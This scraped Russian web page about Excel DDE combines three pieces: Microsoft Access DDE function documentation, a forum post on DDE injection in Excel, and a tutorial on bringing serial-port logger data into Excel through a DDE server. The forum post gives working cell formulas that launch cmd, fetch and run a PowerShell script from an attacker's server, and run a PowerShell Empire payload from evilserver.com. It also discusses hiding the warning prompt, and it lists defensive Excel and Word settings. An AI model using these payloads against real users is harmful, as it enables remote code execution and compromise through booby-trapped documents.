Progress-servis55.ru

Новости из мира ПК
10 просмотров
Рейтинг статьи
1 звезда2 звезды3 звезды4 звезды5 звезд
Загрузка...

Dde сервер в excel 2020

Функция DDE

С помощью функции DDE можно начать сеанс DDE с другим приложением, запросить из него информацию и вывести ее в элементе управления в форме или отчете.

Например, функцию DDE можно использовать в свойстве Данные текстового поля для отображения данных из указанной ячейки листа Microsoft Office Excel 2007.

DDE( приложение, документ, раздел )

Функция DDE имеет следующие аргументы:

Строковое выражение, которое определяет приложение, участвующее в сеансе DDE. Как правило, приложение — это имя EXE-файла (без расширения EXE) приложения Microsoft Windows, такого как Excel. Например, чтобы запустить сеанс DDE с приложением Excel, нужно задать для аргумента приложение значение «Excel».

Строковое выражение, которое представляет имя документа, распознаваемое приложением. Аргумент документ часто является документом или файлом данных. Список допустимых значений см. в документации приложения.

Строковое выражение, которое представляет имя элемента данных, распознаваемое приложением. Список допустимых разделов см. в документации приложения.

Замечания

Функция DDE пытается запустить сеанс DDE с указанным приложением и документом и запрашивает данные в разделе. Если ей это удается, функция DDE возвращает строку, содержащую запрашиваемые данные.

При запросе данных из Excel разделом может быть идентификатор строки и столбца, например » «R1C1» «, или имя диапазона ячеек. В следующем примере функция DDE запрашивает данные ячейки в строке 1 и столбце 1 листа Excel. Это выражение можно ввести в поле Данные текстового поля на странице свойств элемента управления:

=DDE(«Excel», «Sheet1», «R1C1»)

Функцию DDE можно использовать только в свойстве Данные текстового поля, группы переключателей, флажка или поля со списком. Нельзя вызывать функцию DDE из модуля Visual Basic для приложений (VBA).

При использовании функции DDESend элемент управления становится доступным только для чтения в режиме формы и предварительного просмотра. Например, если вы укажете функцию DDE в текстовом поле, в нем будет невозможно изменять текст. Текст будет необходимо редактировать в другом приложении. Так как свойство Данные доступно только для чтения в режиме формы и предварительного просмотра, изменять элемент управления нужно через Конструктор.

Максимальное количество сеансов DDE, которые можно открыть одновременно, определяется памятью и ресурсами компьютера и Microsoft Windows. Если не удается начать сеанс, так как другое приложение не запущено или не распознает указанный документ либо уже достигнуто максимальное количество сеансов, функция DDE возвращает NULL.

Примечание: Другое приложение может быть настроено таким образом, что будет игнорировать запросы на сеанс DDE. В этом случае функция DDE возвращает значение NULL. Кроме того, можно настроить Access таким образом, чтобы он игнорировал запросы от других приложений: в меню Файл выберите команду Параметры Access, в диалоговом окне Параметры приложения выберите пункт Дополнительно. В группе Операции DDE установите флажок Пропуск команд DDE.

Для управления объектами других приложений из Access можно воспользоваться автоматизацией.

В следующей таблице показано, как работает функция DDE при использовании с каждым из элементов управления.

Эле мент управления

Читать еще:  Транспонировать ячейки excel

Аргумент раздел может ссылаться на текст или числа. Если раздел ссылается более чем на одну единицу данных, например на именованный диапазон листа Excel, который содержит несколько ячеек, функция DDE возвращает первую запись. Эту функцию можно использовать с текстовым полем, чтобы отображать данные, содержащиеся в ячейке листа.

Поле со списком

Функция DDE заполняет поле со списком данными, на которые ссылается аргумент раздел. Вводить данные в текстовую часть поля нельзя. Функцию DDE можно использовать с полем со списком, чтобы отобразить список стран и регионов, хранящийся в листе Excel.

Для свойства OptionValue каждого переключателя в группе задан номер. Как правило, номер первого переключателя — 1, второго — 2 и т. д. Возвращаемое функцией DDE число определяет, какой переключатель будет выбран.

Например, если функция DDE возвращает 2, будет выбран второй переключатель. Если функция возвращает значение, не соответствующее ни одному из возможных значений свойства OptionValue, переключатель выбран не будет. Если раздел ссылается более чем на одну единицу данных, например на именованный диапазон листа Excel, который содержит несколько ячеек, функция DDE возвращает первую запись.

Если функция DDE возвращает 0, флажок будет снят. Если она возвращает значение, отличное от нуля, например 1 или -1, флажок будет установлен. Если раздел ссылается на текст или более чем на одну единицу данных, например именованный диапазон на листе Excel, который содержит несколько ячеек, флажок будет недоступен.

Статья DDE в MS Excel (обновляем)

Dmitry88

По аналогии с Word мы используем DDE функцию для вызова cmd. В MS Excel это довольно просто:
Вставляем в любую ячейку вызов функции cmd и задаем ей параметр. А1 — номер ячейки.

=cmd|’/c calc.exe’!A1

Параметр /c может быть изменен на /k *
Примечание: CMD /C запускает команду и выполняет ее, а CMD /K выполняет команду и возвращает нас в командную строку, позволяя выполнять следующие команды, так же полезно для тестирования переменных.

Первая часть пейлоада =cmd|’ дает инструкцию MS Excel вызвать CMD, а вторая передает команду CMD.
В нашем примере при запуске MS Excel юзер получит уведомление о том что ссылки нужно обновить.(что в целом безобидно)

Во втором сообщение мы видим предупреждение о запуске cmd — что есть палево.

Калькулятор запустился

Посколько у CMD есть ограничение на длинну аргумента в 1024 байта, 1024 это максимальная строка для функции CreateProcess(), то мы можем обойти это с помощью инструкций Powershell, например на удаленную загрузку нашего скрипта и исполнение его прямо из DDE.

Для этого сначала подготовим нагрузку в виде скрипта ps1 и положим на наш злой сервер.
Далее в указываем занчение ячейки:
=-2+3+cmd|’/c powershell.exe -w h > Скрыто от гостей

, и обрабатывает скрипт! Обратите внимание , эта функция работает только на Powershell версии 3 и выше.
Результат:

Так же мы можем запустить batch файл, например пейлоад сгенерированный powershell empire

=cmd|’/c \evilserver.comempire.bat;IEX $e’!A1

PS: Статья не закончена. В планах что-то придумать для скрытия предупреждения о запуске cmd.
Ну и было бы неплохо, если бы кто-то помог с шифрованием строки в base64. Я что-то с синтаксисом напутал, упорно не хочет считывать.
PPS: Всегда рад конструктивным замечаниям.
[doublepost=1508916320,1508489034][/doublepost]UPDATE:
Патч частично защищает от уязвимости.

Читать еще:  Excel vba календарь

Но лично у меня все работало и после установки апдейта. Для защиты лучше настроить все руками, дабы нерадивые пользователи не тыкали «ок» -> «ок» -> «далее» бездумно, ну и провести работу воспитательную.
Для админов рекомендую следующее:
Для MS Word
Параметры Word — Дополнительно — (раздел Общие) — Автоматически обновлять связи при открытии (снять галочку)

После этого DDE не будет обработан.

Для Excel хуже.
Первый способ мягкий:

Параметры Excel — Дополнительно — (раздел Общие)
— Запрашивать об обновлении автоматических связей (поставить галочку)
— Игнорировать DDE запросы от других приложений (поставить галочку)

Результат- будет хотя бы уведомление

Метод решения радикальный, т.к. напрочь отключает DDE и возможно не всем подойдет:
Параметры Excel — Центр управления безопасностью — кнопка «Параметры центра безопасности» — Внешнее содержимое —
— Отключить все подключения к данным
— Отключить автоматическое обновление связей в книге

Результат — все дде блочатся напрочь

ПС:
Еще это можно сделать через реестр

Тут те же настройки кроме последнего решения для Excel
[doublepost=1509618109][/doublepost]UPDATE2:
Немного по скрытию запуска строки:

Получение данных в Excel через интерфейс DDE с помощью модуля «DDE Server»

Верси для печати

Сценарий проблемы:

Лабораторный инструмент имеет RS232 порт, через который выводятся данные каждые 10 минут. Я хотел бы использовать значения из выводимых данных в формах, формулах и моих скриптах VBA в документах Microsoft Excel.

Требования:

  • Advanced Serial Data Logger (ASDL) Professional или пробная версия;
  • Модуль «ASCII data parser and query» для логгера;
  • Модуль «DDE server» для Advanced Serial Data Logger.

Подразумевается что:

Вы настроили параметры связи с устройством (скорость, количество бит данных, контроль передачи и т.п.) в логгере и можете принимать данные без каких либо ошибок.

Вы можете работать в Microsoft Excel, в частности создавать и использовать формы.

Решение:

Замечание: Этот пример базируется на предыдущем примере с именем «Данные из последовательного порта и Excel. Рисование графиков в реальном времени». Этот пример будет использовать настройки парсера и пример данных их этого примера. Поэтому вы можете прочитать этот обучающий пример перед продолжением чтения этого примера.

Парсер готов и мы протестировали его в предыдущем примере. Если парсер верно настроен, то в окне DDE сервера будут отображены наши переменные и их значения (рис.1).

Рис.1. Данные из COM порта, Excel и DDE. Окно DDE сервера.

Все переменные теперь готовы для использования в Microsoft Excel. Имя переменной отображается в колонке «Имя». Вы должны знать имя DDE сервера и имя топика для того, чтобы получать данные через DDE. Эта информация представлена на следующем рисунке (рис.2 поз.1). Пожалуйста, обратите внимание, что имя сервера может отличаться на вашем компьютере.

Читать еще:  День недели excel

Рис.2. Данные из COM порта, Excel и DDE. Параметры сервера DDE.

Кликните на кнопке «OK» и закройте окно настройки модуля сервера DDE, а затем кликните кнопку «OK» в окне настройки конфигурации.

Поскольку мы хотим рисовать графики в реальном времени, то мы должны подготовить файл Excel перед следующим шагом. В этом примере мы создали диаграмму с тремя графиками. Каждый график базируется на данных их колонок A, B или C. Мы будет помещать значения переменных FLOW1, VOLW1 и TEMP1 в соответствующую колонку, а Excel будет автоматически обновлять нашу диаграмму. Мы будем использовать только последние 30 значений на нашей диаграмме. В этом примере мы поместили 3 ссылки на DDE переменные в ячейки D21-F21 вида: «=testcore|ddesrv!srviFLOW1» (без кавычек) (рис.3 и 4). Как вы можете видеть, имя сервера, имя топика и имя переменной указаны в этой ссылке на данные DDE.

Рис.3. Данные из COM порта, Excel и DDE. Ссылки на данные DDE.

После того, как вы создали ссылки на данные DDE в вашем документе, Microsoft Excel автоматически запустит логгер и получит данные. Если логгер уже запущен, то Microsoft Excel попробует считать данные из запущенной программы. Если логгер еще не получил и не обработал никаких данных, то Microsoft Excel отобразит информацию о неверной ссылке, но считает значения, как только данные будут получены и обработаны логгером.

Теперь мы готовы для создания кода VBA, который будет обрабатывать наши DDE данные. Этот код будет копировать значения DDE в колонки, передвигать старые значения и добавлять строки в историю значений (рис.4, 5).

Рис.4. Данные из COM порта, Excel и DDE. Исходный документ Excel.

Рисунок выше содержит следующие элементы:

  1. Данные DDE будут помещаться здесь, и будут служить источником данных для графиков;
  2. График;
  3. История данных.

Код VBA из файла Excel

Файл Excel, который мы создали, вы можете скачать здесь и использовать в вашей работе.

Хорошо. Процедура настройки завершена и пришло время попробовать получить данные в Excel.

Подсоедините ваше устройство или включите его, если это необходимо. Попробуйте принять пакет данных от устройства. Если парсер верно настроен, то в Excel будут отображены наши DDE переменные и их значения (рис.5).

Рис.5 Данные из COM порта, Excel и DDE. Результаты.

Рисунок выше содержит следующее:

  1. Последние 30 значений DDE данных;
  2. Последние значения переменных DDE сервера;
  3. История данных DDE.

Файл Excel со всеми значениями и графиками вы можете скачать здесь.

Этот метод получения данных сложен и может быть непонятен для неподготовленного пользователя, но позволяет вам обрабатывать и отображать данные как вам хочется. Позднее, вы можете сделать следующие улучшения:

  1. Помечать некоторые значения цветом;
  2. Добавлять метку даты/времени в историю и автоматически очищать историю;
  3. Использовать формулы и вычисления.
голоса
Рейтинг статьи
Ссылка на основную публикацию
Adblock
detector